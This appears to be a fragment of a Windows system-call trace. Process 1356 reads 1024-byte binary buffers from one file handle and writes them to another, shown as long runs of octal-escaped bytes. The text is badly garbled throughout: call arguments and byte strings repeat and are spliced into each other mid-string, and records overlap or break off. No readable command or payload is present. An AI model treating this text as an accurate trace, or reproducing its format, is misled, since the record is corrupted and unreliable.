0k\7\33\267)\300It\354\230SwvFa\317g\205\251\344R\242\375\3528\346\277^\312\266\321\224V\21s\342\354!\275\231\4:\170\31D\5\273\270\216~&\335\366\227\210\337NT\232=5\347\23\361N`\307\343\3529\260\36\6\222,@>\221\243\222\305\274M\301\201\345\3031\17-M\6\25\323)\216A'\24\361\325\225\213\247\217|e\264\363s\275\7&\217Y\236\307\356\206\32s\240])\370\34\316i-]2f", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \13^B\232\266\350\15\300\241\247\376S\366^\337\255\261\232\251\217%\207\222\217\220\360\272\361,Cv\246\11@\276K\1\255`ha\216\203\266\260\33\252\372\36,\354\3450'\356\303+C\213\274\2347W\240\7\236M\276\23\241\213%]\221\341UB\203\25cXg1\$\253K\241\11\307\326\323:\15\27?\257:U\277E\2272\200\3203R\30@ht2,\377<\311v!-4/`\253]\0\333\277?(Q\221Qd7\33\314\7\206 (92, 0, 0, 0, "\375\317G;\17\334?I\231\232\256\14\311v\257\234\264\371\317\33\252qmU\340\33;\220\223\2610\212\377\230\336\2368\30\260\277s\332W\343\13\272\1Y\323,z\301\276\2\177\260\301\336\362\363\344in\211a\3347\374\271 \17eq\313\253\16\210\221\217\32\371/[?"\364fT>i\36\227nF\367>\33=\302\200\302\3511O,H\251\334\303\31\373p\361ly\215?\2742\3\273\345\244\37\3643\352\274.\213\260^c\374\16/i\215TS">\314\247\177\333\375\344\207\3615Y\352\214\216%\233\342-\355\364D\327c(7"\13^B\232\266\350\15\300\241\247\376S\366^\337\255\261\232\251\217%\207\222\217\220\360\272\361,Cv\246\11@\276K\1\255`ha\216\203\266\260\33\252\372\36,\354\3450'\356\303+C\213\274\2347W\240\7\236M\276\23\241\213%]\221\341UB\203\25cXg1\$\253K\241\11\307\326\323:\15\27?\257:U\277E\2272\200\3203R\30@ht2,\377<\311v!-4/`\253]\0\333\277?(Q\221Qd7\33\314\7\206"\270\317;\20197j\221\315y(\310\4\311\326Y59X&\272\367\24\230\372\322N'O\333\373;\266\336\236\303\331\22!\377\222S4\15\237\267W\6\303\351\273'Fa\340\365b\240\250k\7\33\267)\300It\354\230SwvFa\317g\205\251\344R\242\375\3528\346\277^\312\266\321\224V\21s\342\354!\275\231\4:\170\31D\5\273\270\216~&\335\366\227\210\337NT\232=5\347\23\361N`\307\343\3529\260\36\6\222,@>\221\243\222\305\274M\301\201\345\3031\17-M\6\25\323)\216A'\24\361\325\225\213\247\217|e\264\363s\275\7&\217Y\236\307\356\206\32s\240])\370\34\316i-]2f", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01292  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\370\5\332\3<\167\21\1s\3U\5\267\7\231\265\34z\177\31\276\33\220\204=\6\13\23`\351X\204n \220\37;=3;94;\3102\353\220k\22\204\3449\246\31\22H$-\302>\31Z\215Z\203\266z \\206~$\21\213b8kkGl\220@9\26\236"+\251\356r\256\367pB\1 zlyr\374*>\266v\3122\346\31**:?t\266\366\24\321\234\245\315RB1\325\302DM&\237(*\353\301*\26\376/GN\270w\20&\262\367\334M#\334\37\325\352\177"\212>L<}\341\13\235d$k\7y,@\202#!+\246/$\204(\255)("\35311c\,#\3254f\3357\260\3252\276\331\216\275\36\34rI\211A%\205\255c\14\1z\324$\370\253\3578\225=\247p\21\36$\320\271:E\266=.b\237\24\335j1 <\32rL\211\244L)HdB\304?\227/+1\244\24746f\275\276\252:;?onW\336\200\374\16\37!\311\2742!\253\264\255';\232)\354\30605!X'\265e9sR?h\323\16';\265\37\14\30P\17%\240\344\3436 \234q<,\303\273\36Lv=5@"6\3455\22\17gg>\22\0\322\3510\33\23\22\36\20;f\21\352\255m2\256`+:KV,\15jW\366r30\274\235\372\327\376z3<\303\342\205\203\333]\22ixu\203k`#.}x?;-\314O3\273\177"\270\365\2706#\3059>\372\324>\263?\27\345\236\2Nr!jo\314\357\3546(an\17t-v{``?1\20\2026\238)~\323B\360\267;u~\321\34", ) +\251\356r\256\367pB\1 zlyr\374*>\266v\3122\346\31**:?t\266\366\24\321\234\245\315RB1\325\302DM&\237(*\353\301*\26\376/GN\270w\20&\262\367\334M#\334\37\325\352\177 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\370\5\332\3<\167\21\1s\3U\5\267\7\231\265\34z\177\31\276\33\220\204=\6\13\23`\351X\204n \220\37;=3;94;\3102\353\220k\22\204\3449\246\31\22H$-\302>\31Z\215Z\203\266z \\206~$\21\213b8kkGl\220@9\26\236"+\251\356r\256\367pB\1 zlyr\374*>\266v\3122\346\31**:?t\266\366\24\321\234\245\315RB1\325\302DM&\237(*\353\301*\26\376/GN\270w\20&\262\367\334M#\334\37\325\352\177"\212>L<}\341\13\235d$k\7y,@\202#!+\246/$\204(\255)("\35311c\,#\3254f\3357\260\3252\276\331\216\275\36\34rI\211A%\205\255c\14\1z\324$\370\253\3578\225=\247p\21\36$\320\271:E\266=.b\237\24\335j1 <\32rL\211\244L)HdB\304?\227/+1\244\24746f\275\276\252:;?onW\336\200\374\16\37!\311\2742!\253\264\255';\232)\354\30605!X'\265e9sR?h\323\16';\265\37\14\30P\17%\240\344\3436 \234q<,\303\273\36Lv=5@"6\3455\22\17gg>\22\0\322\3510\33\23\22\36\20;f\21\352\255m2\256`+:KV,\15jW\366r30\274\235\372\327\376z3<\303\342\205\203\333]\22ixu\203k`#.}x?;-\314O3\273\177"\270\365\2706#\3059>\372\324>\263?\27\345\236\2Nr!jo\314\357\3546(an\17t-v{``?1\20\2026\238)~\323B\360\267;u~\321\34", ) ,@\202#!+\246/$\204(\255)( (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\370\5\332\3<\167\21\1s\3U\5\267\7\231\265\34z\177\31\276\33\220\204=\6\13\23`\351X\204n \220\37;=3;94;\3102\353\220k\22\204\3449\246\31\22H$-\302>\31Z\215Z\203\266z \\206~$\21\213b8kkGl\220@9\26\236"+\251\356r\256\367pB\1 zlyr\374*>\266v\3122\346\31**:?t\266\366\24\321\234\245\315RB1\325\302DM&\237(*\353\301*\26\376/GN\270w\20&\262\367\334M#\334\37\325\352\177"\212>L<}\341\13\235d$k\7y,@\202#!+\246/$\204(\255)("\35311c\,#\3254f\3357\260\3252\276\331\216\275\36\34rI\211A%\205\255c\14\1z\324$\370\253\3578\225=\247p\21\36$\320\271:E\266=.b\237\24\335j1 <\32rL\211\244L)HdB\304?\227/+1\244\24746f\275\276\252:;?onW\336\200\374\16\37!\311\2742!\253\264\255';\232)\354\30605!X'\265e9sR?h\323\16';\265\37\14\30P\17%\240\344\3436 \234q<,\303\273\36Lv=5@"6\3455\22\17gg>\22\0\322\3510\33\23\22\36\20;f\21\352\255m2\256`+:KV,\15jW\366r30\274\235\372\327\376z3<\303\342\205\203\333]\22ixu\203k`#.}x?;-\314O3\273\177"\270\365\2706#\3059>\372\324>\263?\27\345\236\2Nr!jo\314\357\3546(an\17t-v{``?1\20\2026\238)~\323B\360\267;u~\321\34", ) 6\3455\22\17gg>\22\0\322\3510\33\23\22\36\20;f\21\352\255m2\256`+:KV,\15jW\366r30\274\235\372\327\376z3<\303\342\205\203\333]\22ixu\203k`#.}x?;-\314O3\273\177 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\370\5\332\3<\167\21\1s\3U\5\267\7\231\265\34z\177\31\276\33\220\204=\6\13\23`\351X\204n \220\37;=3;94;\3102\353\220k\22\204\3449\246\31\22H$-\302>\31Z\215Z\203\266z \\206~$\21\213b8kkGl\220@9\26\236"+\251\356r\256\367pB\1 zlyr\374*>\266v\3122\346\31**:?t\266\366\24\321\234\245\315RB1\325\302DM&\237(*\353\301*\26\376/GN\270w\20&\262\367\334M#\334\37\325\352\177"\212>L<}\341\13\235d$k\7y,@\202#!+\246/$\204(\255)("\35311c\,#\3254f\3357\260\3252\276\331\216\275\36\34rI\211A%\205\255c\14\1z\324$\370\253\3578\225=\247p\21\36$\320\271:E\266=.b\237\24\335j1 <\32rL\211\244L)HdB\304?\227/+1\244\24746f\275\276\252:;?onW\336\200\374\16\37!\311\2742!\253\264\255';\232)\354\30605!X'\265e9sR?h\323\16';\265\37\14\30P\17%\240\344\3436 \234q<,\303\273\36Lv=5@"6\3455\22\17gg>\22\0\322\3510\33\23\22\36\20;f\21\352\255m2\256`+:KV,\15jW\366r30\274\235\372\327\376z3<\303\342\205\203\333]\22ixu\203k`#.}x?;-\314O3\273\177"\270\365\2706#\3059>\372\324>\263?\27\345\236\2Nr!jo\314\357\3546(an\17t-v{``?1\20\2026\238)~\323B\360\267;u~\321\34", ) , ) == 0x0
 01293  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\223Q:\254\25\301\264c\216\214|\314\265p\365\231\273\304\350\361m_\305\361|\367pL\334\225A5\21\227\Sr\210\377\352H\322j2=\335\352=Or\22X\20%\307\33\241r\322\11N\206p\237\3002B9\251\211\203\255C5ah\260\243Ad\207\11\2139\351\312\20\320\200\312I\17\235\372n\362[\316w\344\277\233\337\360p?\200J\346\240\265z\266\334\322\30{\201o\212\242\336\230\207\26(\17\3733\376\2174\377\223\341\14e&\323h\213\341\13\301~\360\\252f\345\25\35\305\20/\13\15\203R\276\333\267&\252\231\273g\236\355\30\263\216\236H204\241\31S\350RX\303Ol\25\15}\215\322&iX\250\1\301\340EDVO\36\330\311\207\361\10f\246\5P\260\265\205\20\204\352<\27\330U\365+\355\336\352\215\264\310$\3473\370\300?\27\315r\262\264\203\3741QrF\242\2\233~\325\365\3734\177M-J%k%\355\274^\244\225W\32\36\14p\5\323D"\365-\264\362\267\311\330B\214\234\342\3742\276\344\257\231\351\313\273\11P\246\345\12\270\340Wlp\344>\215G<\244\23\305\225\302\262\312'\3454f\362I\276i-\372E\353\200\370"?\324\275G\376\340\352\33\304dT\221\373\17@\4\2155\2573\11\272l<\356#\222\226\231brf\20\336\6\20N\2\351\221\203B\3178W\224q#\212\177\250\21\260\302\226]\351W\2\215+\373\357\321~\25d\20\330\325\272.\206\340\233\264z\207\370\356\16C\224\305\221\355\26I\25\354l\277}e\204O\15c\30X\13k\355\203\324y\300\267\305'\323\1\307\374T\345X\331\236:\255\365\323\260dO\240(\352\312Q\201\32^#j\12\323\374b\337~\373\200\251\211`\\362\242\231\204\315O\201}B\344\\366\310\262h\202c\254", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \365-\264\362\267\311\330B\214\234\342\3742\276\344\257\231\351\313\273\11P\246\345\12\270\340Wlp\344>\215G<\244\23\305\225\302\262\312'\3454f\362I\276i-\372E\353\200\370 (92, 0, 0, 0, "\223Q:\254\25\301\264c\216\214|\314\265p\365\231\273\304\350\361m_\305\361|\367pL\334\225A5\21\227\Sr\210\377\352H\322j2=\335\352=Or\22X\20%\307\33\241r\322\11N\206p\237\3002B9\251\211\203\255C5ah\260\243Ad\207\11\2139\351\312\20\320\200\312I\17\235\372n\362[\316w\344\277\233\337\360p?\200J\346\240\265z\266\334\322\30{\201o\212\242\336\230\207\26(\17\3733\376\2174\377\223\341\14e&\323h\213\341\13\301~\360\\252f\345\25\35\305\20/\13\15\203R\276\333\267&\252\231\273g\236\355\30\263\216\236H204\241\31S\350RX\303Ol\25\15}\215\322&iX\250\1\301\340EDVO\36\330\311\207\361\10f\246\5P\260\265\205\20\204\352<\27\330U\365+\355\336\352\215\264\310$\3473\370\300?\27\315r\262\264\203\3741QrF\242\2\233~\325\365\3734\177M-J%k%\355\274^\244\225W\32\36\14p\5\323D"\365-\264\362\267\311\330B\214\234\342\3742\276\344\257\231\351\313\273\11P\246\345\12\270\340Wlp\344>\215G<\244\23\305\225\302\262\312'\3454f\362I\276i-\372E\353\200\370"?\324\275G\376\340\352\33\304dT\221\373\17@\4\2155\2573\11\272l<\356#\222\226\231brf\20\336\6\20N\2\351\221\203B\3178W\224q#\212\177\250\21\260\302\226]\351W\2\215+\373\357\321~\25d\20\330\325\272.\206\340\233\264z\207\370\356\16C\224\305\221\355\26I\25\354l\277}e\204O\15c\30X\13k\355\203\324y\300\267\305'\323\1\307\374T\345X\331\236:\255\365\323\260dO\240(\352\312Q\201\32^#j\12\323\374b\337~\373\200\251\211`\\362\242\231\204\315O\201}B\344\\366\310\262h\202c\254", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01294  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Z\3573/\370{\1/G'oq>r\263w0\177#wx.w\30U\326;\246\367\16l\337!\3001#\256E![h,\200\30.\246\354$\5%\364\33\320\31\4\30V\32\333\24\215\253\22\267\20\213\16\315\1446\206688V;?o\16\266+\211-\35.B\20\252\22\317\24\2\25n\33\263\31\230\36=,<}\2233\323\177\223\326:\13x|!\226\336:\203\336;:\14\371\200"M\204\204&\216\267\274\213+H\317{\220\262EhD\2255\242"o\3308\33\275;e|Z\359\310\216\341#\363\253E$\232\11\15\253=s\254$~\242vvb7=\200-v`\2342\6\2305\335.\30v\13\237?#\1H0u\315\222\305 \3\12\317$/\316'\340p]eA\241fe\3341T\3224\313\1\226\12_\375\26};\35r\313I\317.$-\311"\216p,\306\375\3213f\276Q\3255\234\35\272;?o\237\37\30h\37\366\250\3'Z\6'e\262'+y\354\257ML-\353\330\250S0\372\362\262V\4\333\1\5\377<<\265\324\334\367\241\5/!\241\342\374I\317\35\210\301G\331,\1-\3340\318\333i\3076B\31491\323\266p\314?\245\350\35\22\367\35\323"e#\2051\326($\302\6\336-~~\3041<\333)\3076\256\31495/\3240\314?\371\350\35\16\367\3353\313\322$\16#*\243\331\251\325,\322[(;\361l\260\360\27&6{%\11\373354$\5%\364\33\320\31\4\30V\32\333\24\215\253\22\267\20\213\16\315\1446\206688V;?o\16\266+\211-\35.B\20\252\22\317\24\2\25n\33\263\31\230\36=,<}\2233\323\177\223\326:\13x|!\226\336:\203\336;:\14\371\200 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Z\3573/\370{\1/G'oq>r\263w0\177#wx.w\30U\326;\246\367\16l\337!\3001#\256E![h,\200\30.\246\354$\5%\364\33\320\31\4\30V\32\333\24\215\253\22\267\20\213\16\315\1446\206688V;?o\16\266+\211-\35.B\20\252\22\317\24\2\25n\33\263\31\230\36=,<}\2233\323\177\223\326:\13x|!\226\336:\203\336;:\14\371\200"M\204\204&\216\267\274\213+H\317{\220\262EhD\2255\242"o\3308\33\275;e|Z\359\310\216\341#\363\253E$\232\11\15\253=s\254$~\242vvb7=\200-v`\2342\6\2305\335.\30v\13\237?#\1H0u\315\222\305 \3\12\317$/\316'\340p]eA\241fe\3341T\3224\313\1\226\12_\375\26};\35r\313I\317.$-\311"\216p,\306\375\3213f\276Q\3255\234\35\272;?o\237\37\30h\37\366\250\3'Z\6'e\262'+y\354\257ML-\353\330\250S0\372\362\262V\4\333\1\5\377<<\265\324\334\367\241\5/!\241\342\374I\317\35\210\301G\331,\1-\3340\318\333i\3076B\31491\323\266p\314?\245\350\35\22\367\35\323"e#\2051\326($\302\6\336-~~\3041<\333)\3076\256\31495/\3240\314?\371\350\35\16\367\3353\313\322$\16#*\243\331\251\325,\322[(;\361l\260\360\27&6{%\11\3733308\33\275;e|Z\359\310\216\341#\363\253E$\232\11\15\253=s\254$~\242vvb7=\200-v`\2342\6\2305\335.\30v\13\237?#\1H0u\315\222\305 \3\12\317$/\316'\340p]eA\241fe\3341T\3224\313\1\226\12_\375\26};\35r\313I\317.$-\311 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "Z\3573/\370{\1/G'oq>r\263w0\177#wx.w\30U\326;\246\367\16l\337!\3001#\256E![h,\200\30.\246\354$\5%\364\33\320\31\4\30V\32\333\24\215\253\22\267\20\213\16\315\1446\206688V;?o\16\266+\211-\35.B\20\252\22\317\24\2\25n\33\263\31\230\36=,<}\2233\323\177\223\326:\13x|!\226\336:\203\336;:\14\371\200"M\204\204&\216\267\274\213+H\317{\220\262EhD\2255\242"o\3308\33\275;e|Z\359\310\216\341#\363\253E$\232\11\15\253=s\254$~\242vvb7=\200-v`\2342\6\2305\335.\30v\13\237?#\1H0u\315\222\305 \3\12\317$/\316'\340p]eA\241fe\3341T\3224\313\1\226\12_\375\26};\35r\313I\317.$-\311"\216p,\306\375\3213f\276Q\3255\234\35\272;?o\237\37\30h\37\366\250\3'Z\6'e\262'+y\354\257ML-\353\330\250S0\372\362\262V\4\333\1\5\377<<\265\324\334\367\241\5/!\241\342\374I\317\35\210\301G\331,\1-\3340\318\333i\3076B\31491\323\266p\314?\245\350\35\22\367\35\323"e#\2051\326($\302\6\336-~~\3041<\333)\3076\256\31495/\3240\314?\371\350\35\16\367\3353\313\322$\16#*\243\331\251\325,\322[(;\361l\260\360\27&6{%\11\3732051\326($\302\6\336-~~\3041<\333)\3076\256\31495/\3240\314?\371\350\35\16\367\3353\313\322$\16#*\243\331\251\325,\322[(;\361l\260\360\27&6{%\11\373345&3k\251\274\252 y\127V\261154g\336\271", ) == 0x0
 01295  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\10\312O\4\213\301\234Xn\335\311\225\364\31,\261\354AR\230}\357w|\3611v3\214\236\265s}\375e.\245\315\220\17\34WS\337U!\340Ih\255\375\334c\225\365\314\247\333\33E\361n\306rpB@\265\230\244(\261\12\3545*\233E/\324\267w4\367n\230-\24yg\242\12!\301\'\271-\363P\14`\332\225\355s\4\242j)\372\364_\214M8\3\22\236R\254\246\226\304\2756\344\16\35Y0\204\314\33\17T\202;\267oZ\206\354\2==\346\207Dz*\364\343\271\243\326\310\375:S\353\265\272\326ns\324d\332\36z\16\302\17z\223\313b\344i\250\224\3744\200\311\333Mn\373\274\355|[\16\344\243Lz\242\210\3J\367\202\254e\333\312\236\23|\221)\224\2366\322\224&\253nS\352\347xk\343\320[0\360\313\316z\346\344\363\233\307E(o@\236\269D\235\346\22\201\256^MhO\337\14q\203i&\246\337,\321J\230\307\254\266\256\314\341\246\230-\211fr\376\256\326\256\242dVty\270\301b\252\2533\317R\21\320\303g#\355\276b\274\202\3\261\3465xj\336x\375u\0\355\216W\37U\326~\372Ul\303\32\311\274/-g\214\2\272\317\224]n\343|\246\\3436e\276"\204\344\277\1f\305\4;\362U\202\225\32\326\314\2714\360\322bW\14l\201\24nK\363\340\311\34\5\205T\236\346\214V\4\277\32\27v\272\260\26\342\16\307\367\372Y\320\331A\10\225\215\204\5\372\315\266\267\361;\313\264\265\313F\21|\222M|\320\242\20\207J\177\2610Nn\3\252}4\26\276\226\330\326\31\34\240\342\253g\311\354h\240\21\355\362\276Q204\344\277\1f\305\4;\362U\202\225\32\326\314\2714\360\322bW\14l\201\24nK\363\340\311\34\5\205T\236\346\214V\4\277\32\27v\272\260\26\342\16\307\367\372Y\320\331A\10\225\215\204\5\372\315\266\267\361;\313\264\265\313F\21|\222M|\320\242\20\207J\177\2610Nn\3\252}4\26\276\226\330\326\31\34\240\342\253g\311\354h\240\21\355\362\276Q251\226\5J\304p\236\241?\23\334p\247\316\250\246\10\371\4\260i\307\356\0M\35q\302\343\216\2112R\357\25\7", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01296  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\253.TZl\17\34pd\362`\247\342bl]\202\254\240\34#N\252,f\271\16E>"\310\357\211Z\323\3741m\300\314G\34:V9\205\220S\377u\231\327\1774)\212@}2?006364\27\21;9;@6\11I5$\25\24\20h\\250(T\245\311b$\13\251\235ih\241\12\307\300\276\332[V\251\260\264\35\202\213"-\331~\3273\275\240\311\220h\307\327\324\5\32\3\30"\355\260\252U1Y\223;Nycv9"k\34\262\360$\30\265\32+\27\311\25\357-\21/1q21H5645\11Z\13\220\15\304?+V,\206.\312\20\26#\26[\24\341\32'\31},\36\210\34\300\2g\7\264:\6\206\27063Q$}2\376\37\23\335\23\25n\343\263\343\244\32/u\300\234@\20\3558R\357%%\270\16\364\33\12"\271\31i\372\22\301~w\21\364\226K\235*\1\242)8\244,!h)%z.\15&E3\3632eE5\226!\216gK;l1X:\37,\34~\12$\213\2622 \2762#\216\275)\232\264/\204\207\2453\322\2426\336\2425\316\2558\317=\247\113\353J\24^\36#\244\367"E5%\17((n\17\262u/w\2212\224\353\257\327\245\260\308'\320\234>\230\364=\37J\235\36\203E\250\205.\35&*\232\217\211,\243l;)]\360c\305\244\223gh\233;\326K\37=\276]^\266\37!'#(\237\247)\221\3527\16:", ) \310\357\211Z\323\3741m\300\314G\34:V9\205\220S\377u\231\327\1774)\212@}2?006364\27\21;9;@6\11I5$\25\24\20h\\250(T\245\311b$\13\251\235ih\241\12\307\300\276\332[V\251\260\264\35\202\213273\37\35\30\367q\2#\253\4$Q\367\247\11+\33\272\20\35.Q\225\626q\336\36277\373\217 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\253.TZl\17\34pd\362`\247\342bl]\202\254\240\34#N\252,f\271\16E>"\310\357\211Z\323\3741m\300\314G\34:V9\205\220S\377u\231\327\1774)\212@}2?006364\27\21;9;@6\11I5$\25\24\20h\\250(T\245\311b$\13\251\235ih\241\12\307\300\276\332[V\251\260\264\35\202\213"-\331~\3273\275\240\311\220h\307\327\324\5\32\3\30"\355\260\252U1Y\223;Nycv9"k\34\262\360$\30\265\32+\27\311\25\357-\21/1q21H5645\11Z\13\220\15\304?+V,\206.\312\20\26#\26[\24\341\32'\31},\36\210\34\300\2g\7\264:\6\206\27063Q$}2\376\37\23\335\23\25n\343\263\343\244\32/u\300\234@\20\3558R\357%%\270\16\364\33\12"\271\31i\372\22\301~w\21\364\226K\235*\1\242)8\244,!h)%z.\15&E3\3632eE5\226!\216gK;l1X:\37,\34~\12$\213\2622 \2762#\216\275)\232\264/\204\207\2453\322\2426\336\2425\316\2558\317=\247\113\353J\24^\36#\244\367"E5%\17((n\17\262u/w\2212\224\353\257\327\245\260\308'\320\234>\230\364=\37J\235\36\203E\250\205.\35&*\232\217\211,\243l;)]\360c\305\244\223gh\233;\326K\37=\276]^\266\37!'#(\237\247)\221\3527\16:", ) \355\260\252U1Y\223;Nycv9177\234),\3337M\27\240\152%\11\347%\257`\203J-\357\203m\221\3340\224\341\27q7\15Y\17M\11\356\10\357\33&\36 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\253.TZl\17\34pd\362`\247\342bl]\202\254\240\34#N\252,f\271\16E>"\310\357\211Z\323\3741m\300\314G\34:V9\205\220S\377u\231\327\1774)\212@}2?006364\27\21;9;@6\11I5$\25\24\20h\\250(T\245\311b$\13\251\235ih\241\12\307\300\276\332[V\251\260\264\35\202\213"-\331~\3273\275\240\311\220h\307\327\324\5\32\3\30"\355\260\252U1Y\223;Nycv9"k\34\262\360$\30\265\32+\27\311\25\357-\21/1q21H5645\11Z\13\220\15\304?+V,\206.\312\20\26#\26[\24\341\32'\31},\36\210\34\300\2g\7\264:\6\206\27063Q$}2\376\37\23\335\23\25n\343\263\343\244\32/u\300\234@\20\3558R\357%%\270\16\364\33\12"\271\31i\372\22\301~w\21\364\226K\235*\1\242)8\244,!h)%z.\15&E3\3632eE5\226!\216gK;l1X:\37,\34~\12$\213\2622 \2762#\216\275)\232\264/\204\207\2453\322\2426\336\2425\316\2558\317=\247\113\353J\24^\36#\244\367"E5%\17((n\17\262u/w\2212\224\353\257\327\245\260\308'\320\234>\230\364=\37J\235\36\203E\250\205.\35&*\232\217\211,\243l;)]\360c\305\244\223gh\233;\326K\37=\276]^\266\37!'#(\237\247)\221\3527\16:", ) \271\31i\372\22\301~w\21\364\226K\235*\1\242)8\244,!h)%z.\15&E3\3632eE5\226!\216gK;l1X:\37,\34~\12$\213\2622 \2762#\216\275)\232\264/\204\207\2453\322\2426\336\2425\316\2558\317=\247\113\353J\24^\36#\244\367 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\253.TZl\17\34pd\362`\247\342bl]\202\254\240\34#N\252,f\271\16E>"\310\357\211Z\323\3741m\300\314G\34:V9\205\220S\377u\231\327\1774)\212@}2?006364\27\21;9;@6\11I5$\25\24\20h\\250(T\245\311b$\13\251\235ih\241\12\307\300\276\332[V\251\260\264\35\202\213"-\331~\3273\275\240\311\220h\307\327\324\5\32\3\30"\355\260\252U1Y\223;Nycv9"k\34\262\360$\30\265\32+\27\311\25\357-\21/1q21H5645\11Z\13\220\15\304?+V,\206.\312\20\26#\26[\24\341\32'\31},\36\210\34\300\2g\7\264:\6\206\27063Q$}2\376\37\23\335\23\25n\343\263\343\244\32/u\300\234@\20\3558R\357%%\270\16\364\33\12"\271\31i\372\22\301~w\21\364\226K\235*\1\242)8\244,!h)%z.\15&E3\3632eE5\226!\216gK;l1X:\37,\34~\12$\213\2622 \2762#\216\275)\232\264/\204\207\2453\322\2426\336\2425\316\2558\317=\247\113\353J\24^\36#\244\367"E5%\17((n\17\262u/w\2212\224\353\257\327\245\260\308'\320\234>\230\364=\37J\235\36\203E\250\205.\35&*\232\217\211,\243l;)]\360c\305\244\223gh\233;\326K\37=\276]^\266\37!'#(\237\247)\221\3527\16:", ) , ) == 0x0
 01297  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "L\275\2713\205\307\314\360\304`j\207\327WS\307\3\207^O\302\20\374\366\241\330\316 zbI(\321\276B\302\326u\330\307\22\371,\315\252H\252_i\214C\211\353ug\262\34540\34"\262\301x[&\233\372\236\323\22&\366\3548\273|\256\235\372\341iJ\0L\240uY*\222\226\30E\264U\275E\276iSS\245\242\2\244\317;\321\372\200\202%>\233\207:6E\215Z\314m%U!\275.G\10#>QC)q\247\261H5\37\206\363O\257\217\213P%\324\305\377\34%:\353\271\220 \357\25\24H\260"h\311\321\275V\370\351<\264,\304R6\213\276\36{\277V\207\235\177\232\350\367cW\362\232\320\205\237\30\25\0\31-P\274tv\353+\365\373\3412\256i\6Q?\21\2R&.\365=\251\253\342\346XHE\253#O\266\256d?\311\246\232\370\314\300!\243\360\362r\3155\264r\362\250'\306\255\235ut\320\335\201i\7\2\241\250\204\30\7\27\267>\370\244\272c\270\230\357\251x\266\14-??\\312\357%p\203\31\245?\350\256~\361\24\4\44o\14\321M$w\366\202X\201y\372\327\301\347T\343K\16mx\311\247:\220\327\364e\304\14\240\26]1\262\271\262r2\20hr\344\354p^E\322\4}0E\4d\225!\367j\37\224Hx\352O);\217Q\330\327\263"8\305{\337\232\302^6\353"\317\374\350jH\220\221]\321p{\251\221\\222\245\360\240\231\347 \302\201\337\243\340\16\300pwb\321\0XV-\351q\274\211d_\354P\316\371\373\266m\347\5~\5\335\371\\212y\2\342\313#\321K6\273\32N*8\20\332\362j\26M""\232\346\24*\3\2464Q\356\345R\262\317\242n\2531EE6\233s\206\7\303\357\331R>ZQ", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \262\301x[&\233\372\236\323\22&\366\3548\273|\256\235\372\341iJ\0L\240uY*\222\226\30E\264U\275E\276iSS\245\242\2\244\317;\321\372\200\202%>\233\207:6E\215Z\314m%U!\275.G\10#>QC)q\247\261H5\37\206\363O\257\217\213P%\324\305\377\34%:\353\271\220 \357\25\24H\260 (92, 0, 0, 0, "L\275\2713\205\307\314\360\304`j\207\327WS\307\3\207^O\302\20\374\366\241\330\316 zbI(\321\276B\302\326u\330\307\22\371,\315\252H\252_i\214C\211\353ug\262\34540\34"\262\301x[&\233\372\236\323\22&\366\3548\273|\256\235\372\341iJ\0L\240uY*\222\226\30E\264U\275E\276iSS\245\242\2\244\317;\321\372\200\202%>\233\207:6E\215Z\314m%U!\275.G\10#>QC)q\247\261H5\37\206\363O\257\217\213P%\324\305\377\34%:\353\271\220 \357\25\24H\260"h\311\321\275V\370\351<\264,\304R6\213\276\36{\277V\207\235\177\232\350\367cW\362\232\320\205\237\30\25\0\31-P\274tv\353+\365\373\3412\256i\6Q?\21\2R&.\365=\251\253\342\346XHE\253#O\266\256d?\311\246\232\370\314\300!\243\360\362r\3155\264r\362\250'\306\255\235ut\320\335\201i\7\2\241\250\204\30\7\27\267>\370\244\272c\270\230\357\251x\266\14-??\\312\357%p\203\31\245?\350\256~\361\24\4\44o\14\321M$w\366\202X\201y\372\327\301\347T\343K\16mx\311\247:\220\327\364e\304\14\240\26]1\262\271\262r2\20hr\344\354p^E\322\4}0E\4d\225!\367j\37\224Hx\352O);\217Q\330\327\263"8\305{\337\232\302^6\353"\317\374\350jH\220\221]\321p{\251\221\\222\245\360\240\231\347 \302\201\337\243\340\16\300pwb\321\0XV-\351q\274\211d_\354P\316\371\373\266m\347\5~\5\335\371\\212y\2\342\313#\321K6\273\32N*8\20\332\362j\26M""\232\346\24*\3\2464Q\356\345R\262\317\242n\2531EE6\233s\206\7\303\357\331R>ZQ", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) ??\\312\357%p\203\31\245?\350\256~\361\24\4\44o\14\321M$w\366\202X\201y\372\327\301\347T\343K\16mx\311\247:\220\327\364e\304\14\240\26]1\262\271\262r2\20hr\344\354p^E\322\4}0E\4d\225!\367j\37\224Hx\352O);\217Q\330\327\263 (92, 0, 0, 0, "L\275\2713\205\307\314\360\304`j\207\327WS\307\3\207^O\302\20\374\366\241\330\316 